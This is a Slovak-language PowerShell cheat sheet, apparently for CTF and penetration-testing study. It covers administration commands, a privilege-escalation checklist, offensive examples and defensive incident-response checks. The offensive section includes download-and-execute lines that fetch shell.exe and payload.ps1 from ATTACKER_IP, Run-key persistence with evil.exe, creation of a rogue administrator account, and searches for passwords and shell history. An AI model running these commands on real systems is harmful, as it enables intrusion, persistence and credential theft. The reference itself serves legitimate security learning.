Windows PowerShell
Obsah
- Základy & Nápoveda
- Navigácia & Súbory
- Filtrovanie & Pipeline
- Systémové informácie
- Sieť
- Používatelia & Skupiny
- Procesy & Služby
- Register (Registry)
- Hashing & Integrita súborov
- Alternatívne dátové toky (ADS)
- Vzdialená správa
- Sťahovanie súborov
- Scripting – Základy
- Privilege Escalation – Checklist
- Offensive – Príklady použitia
- Defensive – Príklady použitia
Základy & Nápoveda
Get-Command # zobraz všetky dostupné cmdlety
Get-Command -CommandType Function # len funkcie
Get-Help [cmdlet] # nápoveda k cmdletu
Get-Help [cmdlet] -Examples # príklady použitia
Get-Help [cmdlet] -Full # kompletná dokumentácia
Get-Alias # všetky aliasy (dir = Get-ChildItem, cd = Set-Location...)
Find-Module -Name "PowerShell*" # hľadaj modul v PSGallery
Install-Module -Name "PowerShellGet" # inštaluj modul
💡 PowerShell pracuje s objektmi, nie textom – každý cmdlet vracia objekt s vlastnosťami a metódami. To umožňuje výkonné filtrovanie a reťazenie cez pipe
|.
💡 Konvencia pomenovania:
Sloveso-Podstatné meno(napr.Get-Process,Stop-Service)
Navigácia & Súbory
Get-Location # aktuálny adresár (pwd)
Set-Location C:\path # zmeň adresár (cd)
Set-Location -Path ".\Documents" # relatívna cesta
Get-ChildItem # zoznam súborov (ls, dir)
Get-ChildItem -Force # vrátane skrytých
Get-ChildItem -Recurse -Filter "flag.txt" # rekurzívne hľadanie súboru
Get-ChildItem -Recurse -Filter "*.txt" # hľadaj podľa prípony
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Filter "flag.txt"
Get-Content file.txt # zobraz obsah súboru (cat)
New-Item -Path ".\folder" -ItemType Directory # vytvor adresár
New-Item -Path ".\file.txt" -ItemType File # vytvor súbor
Copy-Item file.txt C:\dest\ # kopíruj (cp)
Move-Item file.txt C:\dest\ # presuň (mv)
Remove-Item file.txt # zmaž súbor (rm)
Remove-Item folder -Recurse # zmaž adresár rekurzívne
Filtrovanie & Pipeline
# Where-Object – filtrovanie objektov
Get-ChildItem | Where-Object -Property "Extension" -eq ".txt"
Get-ChildItem | Where-Object -Property "Length" -gt 100
Get-ChildItem | Where-Object -Property "Name" -like "ship*"
# Operátory:
# -eq rovná sa
# -ne nerovná sa
# -gt väčšie ako
# -ge väčšie alebo rovné
# -lt menšie ako
# -le menšie alebo rovné
# -like wildcard porovnanie (* = ľubovoľné znaky)
# Sort-Object – zoradiť výstup
Get-ChildItem | Sort-Object Length
Get-ChildItem | Sort-Object -Descending
# Select-Object – vybrať vlastnosti / obmedziť počet
Get-ChildItem | Select-Object Name, Length
Get-ChildItem | Select-Object -First 5
# Select-String – hľadanie textu v súboroch (grep)
Select-String -Path ".\file.txt" -Pattern "password"
Get-ChildItem -Recurse -Filter "*.txt" | Select-String "password"
Systémové informácie
Get-ComputerInfo # kompletné info o systéme
Get-ComputerInfo | Select-Object OsName, OsVersion, CsName
Get-HotFix # nainštalované záplaty
Get-HotFix | Sort-Object InstalledOn -Descending # od najnovšej
Get-WmiObject -Class Win32_OperatingSystem # OS info cez WMI
Get-Date # aktuálny dátum a čas
$env:USERNAME # premenná prostredia
$env:COMPUTERNAME
$env:PATH
[System.Environment]::GetEnvironmentVariables() # všetky premenné
Sieť
Get-NetIPConfiguration # IP, DNS, brána
Get-NetIPAddress # všetky IP adresy
Get-NetTCPConnection # aktívne TCP spojenia
Get-NetTCPConnection | Where-Object State -eq "ESTABLISHED"
Get-NetTCPConnection | Where-Object State -eq "LISTEN"
Test-NetConnection -ComputerName 8.8.8.8 -Port 53 # test spojenia na port
Resolve-DnsName example.com # DNS lookup
Používatelia & Skupiny
Get-LocalUser # zoznam lokálnych používateľov
Get-LocalGroup # zoznam lokálnych skupín
Get-LocalGroupMember Administrators # členovia skupiny Administrators
New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "Pass1" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "hacker"
Remove-LocalUser -Name "hacker"
Procesy & Služby
Get-Process # bežiace procesy
Get-Process | Sort-Object CPU -Descending # zoradiť podľa CPU
Get-Process | Where-Object {$_.WorkingSet -gt 100MB} # veľké procesy
Stop-Process -Id 1234 # ukonči podľa PID
Stop-Process -Name notepad # ukonči podľa mena
Get-Service # zoznam služieb
Get-Service | Where-Object {$_.Status -eq "Running"} # len bežiace
Start-Service -Name [ServiceName]
Stop-Service -Name [ServiceName]
Restart-Service -Name [ServiceName]
# Procesy bežiace ako SYSTEM (Session ID = 0)
Get-Process | Where-Object {$_.SI -eq 0}
Register (Registry)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # autorun system
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # autorun user
Set-ItemProperty -Path "HKLM:\...\Run" -Name "evil" -Value "C:\Temp\evil.exe"
Remove-ItemProperty -Path "HKLM:\...\Run" -Name "evil"
Hashing & Integrita súborov
Get-FileHash -Path .\file.exe # SHA256 hash (default)
Get-FileHash -Path .\file.exe -Algorithm MD5
Get-FileHash -Path .\file.exe -Algorithm SHA1
Alternatívne dátové toky (ADS)
# Zobraz ADS pripojené k súboru
Get-Item -Path "C:\file.txt" -Stream *
# Čítaj obsah konkrétneho ADS
Get-Content -Path "C:\file.txt" -Stream
# Hľadaj skrytý obsah vo všetkých súboroch
Get-ChildItem -Recurse | ForEach-Object { Get-Item $_.FullName -Stream * } 2>$null | Where-Object Stream -ne ":$DATA"
Vzdialená správa
# Invoke-Command – spusti príkaz na vzdialenom PC
Invoke-Command -ComputerName Server01 -ScriptBlock { Get-Service }
Invoke-Command -ComputerName Server01 -Credential Domain01\User01 -ScriptBlock { Get-Culture }
Invoke-Command -FilePath C:\scripts\script.ps1 -ComputerName Server01
# Enter-PSSession – interaktívna vzdialená relácia
Enter-PSSession -ComputerName Server01
Exit-PSSession
Sťahovanie súborov
Invoke-WebRequest -Uri http://IP/file.exe -OutFile C:\Temp\file.exe # wget
iwr http://IP/file.exe -o C:\Temp\file.exe # skrátene
Scripting – Základy
# Premenné
$meno = "admin"
$cislo = 42
# Podmienka
if ($cislo -gt 10) { Write-Host "Väčšie ako 10" }
# Cyklus foreach
foreach ($user in Get-LocalUser) { Write-Host $user.Name }
# Cyklus cez pipeline
Get-LocalUser | ForEach-Object { Write-Host $_.Name }
# Funkcia
function Pozdrav { param($meno) Write-Host "Ahoj, $meno!" }
Pozdrav -meno "Admin"
Privilege Escalation – Checklist
whoami /priv # nebezpečné: SeImpersonate, SeDebug, SeBackup
# Bežiace procesy ako SYSTEM
Get-Process | Where-Object {$_.SI -eq 0}
# Chýbajúce záplaty
Get-HotFix | Select-Object HotFixID, InstalledOn | Sort-Object InstalledOn
# AlwaysInstallElevated
Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
# PowerUp
. .\PowerUp.ps1
Invoke-AllChecks
# WinPEAS
.\winpeas.exe
Offensive – Príklady použitia
# Recon & Enumerácia
Get-ComputerInfo | Select-Object OsName, OsVersion
Get-HotFix | Sort-Object InstalledOn # záplaty → hľadaj chýbajúce CVE
Get-LocalUser
Get-LocalGroupMember Administrators
whoami /priv # nebezpečné privilégiá
Get-NetIPConfiguration
Get-NetTCPConnection | Where-Object State -eq "LISTEN"
$env:COMPUTERNAME; $env:USERNAME; $env:USERDOMAIN
# Hľadanie citlivých dát
Get-ChildItem -Recurse -Filter "*.txt" | Select-String "password"
Get-ChildItem -Recurse -Filter "*.xml" | Select-String "password"
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Get-Item -Path "C:\interesting_file.txt" -Stream * # ADS
# Lateral Movement
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
Enter-PSSession -ComputerName TARGET -Credential $cred
# Download & Execute
iwr http://ATTACKER_IP/shell.exe -o C:\Temp\shell.exe
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')
# Persistence
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "updater" -Value "C:\Temp\evil.exe"
Defensive – Príklady použitia
# Incident Response – Rýchly prehľad
Get-NetTCPConnection | Where-Object State -eq "ESTABLISHED" | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess
Get-Process | Sort-Object CPU -Descending | Select-Object -First 20
Get-Service | Where-Object {$_.Status -eq "Running"} | Sort-Object DisplayName
# Detekcia podozrivých procesov
Get-Process | Where-Object {$_.SI -eq 0} | Select-Object Name, Id, Path
# Kontrola Persistence
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ScheduledTask | Where-Object State -ne "Disabled"
# Kontrola integrity súborov
Get-FileHash -Path C:\Windows\System32\svchost.exe -Algorithm SHA256
Get-ChildItem C:\Temp -Recurse | ForEach-Object { Get-FileHash $_.FullName } | Export-Csv hashes.csv
# Detekcia ADS
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue
} | Where-Object Stream -ne ":$DATA"
# Audit používateľov
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
Get-LocalGroupMember Administrators
# Event Logy
Get-EventLog -LogName Security -Newest 50
Get-EventLog -LogName Security -InstanceId 4624 -Newest 20 # úspešné prihlásenia
Get-EventLog -LogName Security -InstanceId 4625 -Newest 20 # neúspešné prihlásenia
Get-EventLog -LogName Security -InstanceId 4688 -Newest 20 # spustené procesy
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 50
# Izolácia pri incidente
Get-NetAdapter | Disable-NetAdapter -Confirm:$false # odpoj sieť (!)